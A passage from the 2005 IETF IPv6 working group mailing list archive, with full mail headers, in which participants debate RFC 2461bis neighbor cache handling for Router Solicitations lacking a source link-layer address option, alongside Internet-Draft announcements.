SLLAO, a NS cannot be sent at all from a >>> tentative source address. So it must always be the router or a >>> neighbor who starts address resolution for an optimistic node >>> while the >> optimistic >>> node's is still tentative. >> >> This is just as an aside (won't affect the discussion much). It's >> true that opti-dad isn't allowed to be sent for multicast >> destinations, where SLLAO must be sent. In unicast NS, where it's >> not mandatory, it may still possible to send NS with TSLLAO. I'm >> not sure it's useful though. >> >> It's worth noting that responses to unicast NS from a node which >> doesn't actually have a valid NCE for the solicitor (it is assumed >> to do so, from section 7.2.2 of 2461), NS/NA exchange in the >> reverse direction is performed before delivery of the NA. >> >>>>> Unicast RA's could be advantageous on link layers with > >>>> acknowledgements, > like IEEE 802.11, where they are realiably >>>> transmitted. >>>> >>>> => Sure, there are many other examples of WWANs where unicast >>>> RAs make more sense when responding to RSs, that's why I'm not >>>> sure if it's always good to follow the FreeBSD way >> you describe >>>> above. >>> >>>> >>>> It'd be good if we can get some agreement on this before the >>>> draft deadline. >>> >>> Yes, Hesham. I didn't mean to say that the way FreeBSD >> responds to RS's >>> is my favorite. Actually, I think that we now have two >> use-cases where >>> unicast RS's make more sense, WWANs and 802.11, and there >> are probably >>> more. Also, I don't think that the additional state, >> NOSTATE, which >>> FreeBSD uses for NC entries without L2 addresses makes a >> lot of sense. >>> >>> Overall, I think that the plethora of scenarios can be >> accommodated best >>> if we leave a node some choice with respect to when a >> router creates a >>> NC entry, and when it sends a RA by unicast or by multicast. >>> >>> RFC 2461bis already depends NC updates on whether the RS's source >>> address is unspecified or not: If it is unspecified, the >> NC is not >>> updated. If it is valid, either an existing NC entry is >> modified or a >>> new NC entry is created. I think this is good; maybe we >> can expand on >>> these rules. >>> >>> (1) The router can unicast a RA if and only if it >> previously received a >>> RS with a valid (specified) source address. Rate limitations may >>> prohibit the router from sending a unicast RA, though, and >> instead send >>> a multicast RA that is anyway scheduled for transmission. >> RFC 2461bis >>> already has this functionality. >>> >>> (2) If the received RS has a valid source address, but no >> SLLAO, then >>> address resolution must be done before the unicast RA is >> sent. [Hmm, one >>> may also consider to trigger address resolution, but still send a >>> multicast RA. This could be faster than the unicast RA, >> which would >>> have to wait for address resolution to complete...] >> >> It's not really worth it to do address resolution. That would need >> to create neighbour cache state, when there's nothing to send in >> the neighbour cache entry queue. The outside the [...] it looks >> ok. >> >> I'd probably guess that it's worth putting a caveat here: >> >> If there's no SLLAO, some routers may perfer to schedule a >> multicast response, in order to avoid neighbour discovery, which >> may be costly on some links. >> >>> (3) The router sends multicast RA's, first, on a periodic >> basis and, >>> second, whenever it receives a RS with an unspecified >> source address. >>> According to RFC 2461bis, rate limitations may cause the >> router to not >>> immediately send a solicited multicast RA, but to wait for >> the next >>> periodic multicast RA. >> >> >>> (4) Rate limitations should be adjustable according to a >> particular >>> link-layer technology, capacity, and deployment scenario. >> This allows >>> for easy optimizations, like [1]. >> >> Nothing is easy ;-) >> >> There's work going on with regard to FastRA which may provide the >> benefits without manual configuration though. So if this is text >> we're after, I'd prefer no (informative) references to FastRA in a >> DS. >> >> It's worth specifying that deployers consult IPv6 over foo >> documents or IPv6 network deployment BCPs to see if any >> recommendations update specifications in this document. >> >>> - Christian >>> >>> [1] draft-mkhalil-ipv6-fastra-05.txt >>> >> >> Greg >> > > =========================================================== This > email may contain confidential and privileged material for the sole > use of the intended recipient. Any review or distribution by others > is strictly prohibited. If you are not the intended recipient please > contact the sender and delete all copies. > =========================================================== > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 21 17:50:20 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA24599 for ; Mon, 21 Feb 2005 17:50:20 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3Mk2-0007Yo-Gq for ipv6-web-archive@ietf.org; Mon, 21 Feb 2005 18:13:29 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3KIg-0002zN-80; Mon, 21 Feb 2005 15:37:02 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3J4N-00080u-00 for ipv6@megatron.ietf.org; Mon, 21 Feb 2005 14:18:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02955 for ; Mon, 21 Feb 2005 14:18:04 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX19zUhpx8d9DMxSNVm3uM5/t0YmbmX5xWrY=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3JQc-00026n-Vt for ipv6@ietf.org; Mon, 21 Feb 2005 14:41:11 -0500 Received: from irams1.ira.uni-karlsruhe.de ([141.3.10.5] helo=irams1.ira.uka.de) by iramx2.ira.uni-karlsruhe.de with esmtps (Exim 4.43 #1) id 1D3J4D-0006NE-RE; Mon, 21 Feb 2005 20:18:04 +0100 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by irams1.ira.uka.de with esmtp (Exim 3.30 #7 ) id 1D3J4D-0002mM-00; Mon, 21 Feb 2005 20:18:01 +0100 Message-ID: <421A33E7.1060102@tm.uka.de> Date: Mon, 21 Feb 2005 20:17:59 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: "Soliman, Hesham" References: In-Reply-To: X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -14.6 (--------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: 7baded97d9887f7a0c7e8a33c2e3ea1b Content-Transfer-Encoding: 7bit Cc: ipv6@ietf.org Subject: Re: 2461bis update X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Content-Transfer-Encoding: 7bit Hesham, I just saw your email. So the comments in my last mail were probably too late. Uhh, such is life... :-( - Christian -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ Soliman, Hesham schrieb: > Hi all, > > I just submitted the (hopefully) last rev of 2461bis. > This revision includes all comments discussed on the list > till today. The only two things missing are updating the Ack > section and getting the RFC number for ADDRCONF in the references > section. I guess the latter can be a note to the RFC editor. I'll > update the Ack section after IESG LC > > I believe this document is now ready for IESG LC. > > Thanks, > Hesham > > =========================================================== > This email may contain confidential and privileged material for the sole use > of the intended recipient. Any review or distribution by others is strictly > prohibited. If you are not the intended recipient please contact the sender > and delete all copies. > =========================================================== > > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 22 07:38:13 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24475 for ; Tue, 22 Feb 2005 07:38:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3ZfN-0003S4-BL for ipv6-web-archive@ietf.org; Tue, 22 Feb 2005 08:01:29 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3MMs-0003yN-TZ; Mon, 21 Feb 2005 17:49:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3KTX-0004l7-0P; Mon, 21 Feb 2005 15:48:15 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13559; Mon, 21 Feb 2005 15:48:13 -0500 (EST) Message-Id: <200502212048.PAA13559@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Mon, 21 Feb 2005 15:48:13 -0500 Cc: ipv6@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-ula-central-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: 8de5f93cb2b4e3bee75302e9eacc33db --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Centrally Assigned Unique Local IPv6 Unicast Addresses Author(s) : R. Hinden, B. Haberman Filename : draft-ietf-ipv6-ula-central-01.txt Pages : 12 Date : 2005-2-21 This document defines Centrally allocated IPv6 Unique Local addresses. These addresses are globally unique and are intended for local communications, usually inside of a site. They are not expected to be routable on the global Internet. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ula-central-01.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-ula-central-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-ula-central-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-21151818.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-ula-central-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-ula-central-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-21151818.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --NextPart-- From ipv6-bounces@ietf.org Tue Feb 22 23:03:56 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA27889 for ; Tue, 22 Feb 2005 23:03:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3o7L-0007Vf-BC for ipv6-web-archive@ietf.org; Tue, 22 Feb 2005 23:27:21 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3NWH-0005y7-CF; Mon, 21 Feb 2005 19:03:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3LpK-0007S5-3e for ipv6@megatron.ietf.org; Mon, 21 Feb 2005 17:14:50 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21348 for ; Mon, 21 Feb 2005 17:14:42 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3MBY-0006a7-Vg for ipv6@ietf.org; Mon, 21 Feb 2005 17:37:51 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 82E9915220; Tue, 22 Feb 2005 07:14:29 +0900 (JST) Date: Tue, 22 Feb 2005 07:15:01 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Soliman, Hesham" In-Reply-To: References: User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 386e0819b1192672467565a524848168 Cc: Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cf3becbbd6d1a45acbe2ffd4ab88bdc2 >>>>> On Sun, 20 Feb 2005 18:23:12 -0500, >>>>> "Soliman, Hesham" said: > The text now looks like this: > Router Solicitations in which the Source Address is the unspecified > address MUST NOT update the router's Neighbor Cache; solicitations > with a proper source address update the Neighbor Cache as follows. If > the router already has a Neighbor Cache entry for the solicitation's > sender, the solicitation contains a Source Link-Layer Address option, > and the received link-layer address differs from that already in the > cache, the link-layer address SHOULD be updated in the appropriate > Neighbor Cache entry, and its reachability state MUST also be set to > STALE. If there is no existing Neighbor Cache entry for the > solicitation's sender, the router creates one, installs the link- > layer address and sets its reachability state to STALE as specified > in Section 7.3.3. If there is no existing Neighbor Cache entry and no Source Link-Layer Address option was present in the solicitation, the router may respond with either a unicast or a multicast router advertisement. Whether or not a Source Link-Layer Address option > is provided, if a Neighbor Cache entry for the solicitation's sender > exists (or is created) the entry's IsRouter flag MUST be set to > FALSE. Hmm...although I'm not necessarily opposing to the proposed text per se, I'm afraid we're missing the point. The general issue here, as I see it, is the ND specification is not very clear about the case where a (source or target) link-layer address is not provided in an "unsolicited" messages (i.e., RS, RA, NS, redirects) and the receiving node does not have a neighbor cache entry for the (source or target) address. For example, it's not clear about an NS in Section 7.3.3: A Neighbor Cache entry enters the STALE state when created as a result of receiving packets other than solicited Neighbor Advertisements (i.e., Router Solicitations, Router Advertisements, Redirects, and Neighbor Solicitations). These packets contain the ^^^^^^^^^^^^^^^^^^^^^^^^^ link-layer address of either the sender or, in the case of Redirect, ^^^^^^^^^^^^^^^^^^ the redirection target. As we can see, the specification unconditionally assumes that these packet contain a source or target LLAO. So, I believe the more appropriate fix is to clarify how the node should behave in this case in general. As already pointed out, entering the STALE state doesn't make sense without a link-layer address. Again, as was pointed out in this thread, KAME/BSD creates a new entry with its implementation-specific state "NOSTATE". This might be one possible resolution to this issue. After re-reading the specification, however, I now feel it makes more sense to do nothing with neighbor cache (i.e., do not create a neighbor cache in the first place). If the receiving node then needs to send a unicast packet to the (source or target) address, it will simply create a new entry with the INCOMPLETE state. There is no additional delay here except some CPU cycles in the sending procedure. Once we clarify this point, I don't see a particular need for adding something like: If there is no existing Neighbor Cache entry and no Source Link-Layer Address option was present in the solicitation, the router may respond with either a unicast or a multicast router advertisement. Since this is already pretty clear from the first part of this section under a more flexible condition (i.e., whether or not the solicitation included SLLAO): In addition to sending periodic, unsolicited advertisements, a router sends advertisements in response to valid solicitations received on an advertising interface. A router MAY choose to unicast the response directly to the soliciting host's address (if the solicitation's source address is not the unspecified address), BTW: in any event, we'll also need to fix other similar cases (e.g., Section 7.3.3) and Appendix C. And one last remark: "NOSTATE" was actually introduced for implementation-specific reasons, rather than to deal with the gap in the specification. So, we'll still keep this state as an internal state specific to the implementation regardless of the result of this discussion. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 00:41:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13184 for ; Wed, 23 Feb 2005 00:41:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3peE-0002o1-Pv for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 01:05:25 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kfP-0004NN-EL; Tue, 22 Feb 2005 19:46:15 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3cfk-0006OE-Aw for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 11:14:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17051 for ; Tue, 22 Feb 2005 11:13:56 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX1/hAmrvSITd52U2HrAKHnAruqmj/hJhHeM=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3d2A-0001XQ-RJ for ipv6@ietf.org; Tue, 22 Feb 2005 11:37:15 -0500 Received: from irams1.ira.uni-karlsruhe.de ([141.3.10.5] helo=irams1.ira.uka.de) by iramx2.ira.uni-karlsruhe.de with esmtps (Exim 4.43 #1) id 1D3cfQ-0000Ga-Cl; Tue, 22 Feb 2005 17:13:47 +0100 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by irams1.ira.uka.de with esmtp (Exim 3.30 #7 ) id 1D3cfP-0004Ke-00; Tue, 22 Feb 2005 17:13:43 +0100 Message-ID: <421B5A36.2050008@tm.uka.de> Date: Tue, 22 Feb 2005 17:13:42 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: greg.daley@eng.monash.edu.au References: <421A3145.3020709@tm.uka.de> <421A78BC.4010008@eng.monash.edu.au> In-Reply-To: <421A78BC.4010008@eng.monash.edu.au> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -14.1 (--------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 Content-Transfer-Encoding: 7bit Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 057ebe9b96adec30a7efb2aeda4c26a4 Content-Transfer-Encoding: 7bit Hi Greg. >>> - It performs address resolution on the solicitation's sender, >>> creates a new Neighbor Cache entry, installs the link-layer >>> address, sets its reachability state to STALE as specified in >>> Section 7.3.3, and responds with a unicast Router Advertisement >>> directed to the solicitation's sender. > > I'm not sure if I get this. Why would the NCE be stale if there's > been an NA response for the Router's NS? > > It should be REACHABLE, using existing techniques. Sorry, my mistake. You are absolutely right. The new text suggested a couple of hours back no longer explicitly mentions the state, because the usual address-resolution procedure is used anyway and the state should therefore be clear. - Christian Greg Daley schrieb: > Hi Christian, > > Christian Vogt wrote: > >> Hi Hesham, >> >> hope this is not too late. >> >> Not sure but the text may suggest to create NC state even if the RS >> did not contain a SLLAO. In this case, it's actually not >> necessary to create NC state, especially if the router chooses to >> respond with a multicast RA. If you agree, you could change the >> text from this... >> >>> [...] If there is no existing Neighbor Cache >>> entry for the solicitation's sender, the router creates one, >>> installs the link- layer address and sets its reachability state >>> to STALE as specified in Section 7.3.3. If there is no existing >>> Neighbor Cache entry and no Source Link-Layer Address option was >>> present in the solicitation, [...] >> >> ...to this... >> >>> [...] If there is no existing Neighbor Cache >>> entry for the solicitation's sender and a Source Link-Layer >>> Address option was present in the solicitation, the router >>> creates a new Neighbor Cache entry, installs the link-layer >>> address and sets its reachability state to STALE as specified in >>> Section 7.3.3. If there is no existing Neighbor Cache entry and >>> no Source Link-Layer Address option was present in the >>> solicitation, the router does either one of the following: >>> >>> - It performs address resolution on the solicitation's sender, >>> creates a new Neighbor Cache entry, installs the link-layer >>> address, sets its reachability state to STALE as specified in >>> Section 7.3.3, and responds with a unicast Router Advertisement >>> directed to the solicitation's sender. > > > > I'm not sure if I get this. Why would the NCE be stale if there's > been an NA response for the Router's NS? > > It should be REACHABLE, using existing techniques. > > You could precis this to: > > - It elects to perform unicast delivery, performs address resolution > on Router Solicitation's sender, creating a new neighbour cache > entry. It delivers a unicast Router Advertisement when neighbour > discovery completes. > >>> - It responds with a multicast Router Advertisement. >>> >>> Whether or not a Source Link-Layer Address option is provided in >>> the solicitation, [...] >> >> The rest is perfect, IMO. >> >> Oh, just a nit: s/link- layer/link-layer/. >> >> - Christian >> > > Whether we need it, is another matter (to be discussed with Jinmei > and others). > > Greg -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ "No great genius has ever existed without some touch of madness." (Aristotle) -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 01:18:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17279 for ; Wed, 23 Feb 2005 01:18:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3qDc-0003z2-Tc for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 01:41:57 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kfv-0004ZI-Ms; Tue, 22 Feb 2005 19:46:47 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3eWy-0002e6-Gr for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 13:13:08 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA29929 for ; Tue, 22 Feb 2005 13:12:59 -0500 (EST) Received: from mail-dark.research.att.com ([192.20.225.112] helo=mail-yellow.research.att.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3etO-00055d-HU for ipv6@ietf.org; Tue, 22 Feb 2005 13:36:19 -0500 Received: from bright.research.att.com (bright.research.att.com [135.207.20.189]) by mail-blue.research.att.com (Postfix) with ESMTP id 4DF07197496; Tue, 22 Feb 2005 12:55:12 -0500 (EST) Received: (from fenner@localhost) by bright.research.att.com (8.12.11/8.12.10/Submit) id j1MICUgx005317; Tue, 22 Feb 2005 10:12:30 -0800 Message-Id: <200502221812.j1MICUgx005317@bright.research.att.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: uri@w3.org, ipv6@ietf.org Date: Tue, 22 Feb 2005 10:12:29 -0800 From: Bill Fenner Versions: dmail (linux) 2.6d/makemail 2.10 X-Spam-Score: 0.0 (/) X-Scan-Signature: 50a516d93fd399dc60588708fd9a3002 Subject: Update to A Format for IPv6 Scope Zone Identifiers in Literal URIs X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 3e15cc4fdc61d7bce84032741d11c8e5 FYI: I updated this draft based on the discussion on the ipv6 mailing list. There are still no strong conclusions. The discussion on the ipv6 list petered out after dropping the Cc: of the URI list and asking questions that people on the URI list would be best suited to answer. Perhaps this update will start the discussion again. Please retain the Cc: of both lists. Thanks, Bill From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-fenner-literal-zone-01.txt Date: Mon, 21 Feb 2005 15:31:16 -0500 To: i-d-announce@ietf.org Reply-to: internet-drafts@ietf.org Title : A Format for IPv6 Scope Zone Identifiers in Literal URIs Author(s) : B. Fenner, M. Duerst Filename : draft-fenner-literal-zone-01.txt Pages : 6 Date : 2005-2-21 This document specifies the format to be used when specifying a zone identifier with a literal IPv6 address in URIs and IRIs. While this combination is expected to be needed rarely, it is important to specify the exact syntax. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-fenner-literal-zone-01.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-fenner-literal-zone-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 01:22:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17682 for ; Wed, 23 Feb 2005 01:22:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3qHj-00045S-Hh for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 01:46:14 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kg5-0004bE-37; Tue, 22 Feb 2005 19:46:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3f4i-0006Ni-6F for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 13:48:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03034 for ; Tue, 22 Feb 2005 13:47:53 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3fR7-00061v-Mk for ipv6@ietf.org; Tue, 22 Feb 2005 14:11:12 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 22 Feb 2005 13:47:07 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: quoted-printable Date: Tue, 22 Feb 2005 13:47:07 -0500 Message-ID: Thread-Topic: comments on draft-ietf-ipv6-2461bis-01.txt Thread-Index: AcUXwPxgqZ4s2uIITFaNnrnr9mQR3gBS5zaw From: "Soliman, Hesham" To: "JINMEI Tatuya / ????" X-OriginalArrivalTime: 22 Feb 2005 18:47:07.0970 (UTC) FILETIME=[E906CA20:01C5190E] X-Spam-Score: 0.0 (/) X-Scan-Signature: 913ee11e7c554f7d4da75d500826397e Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: comments on draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" 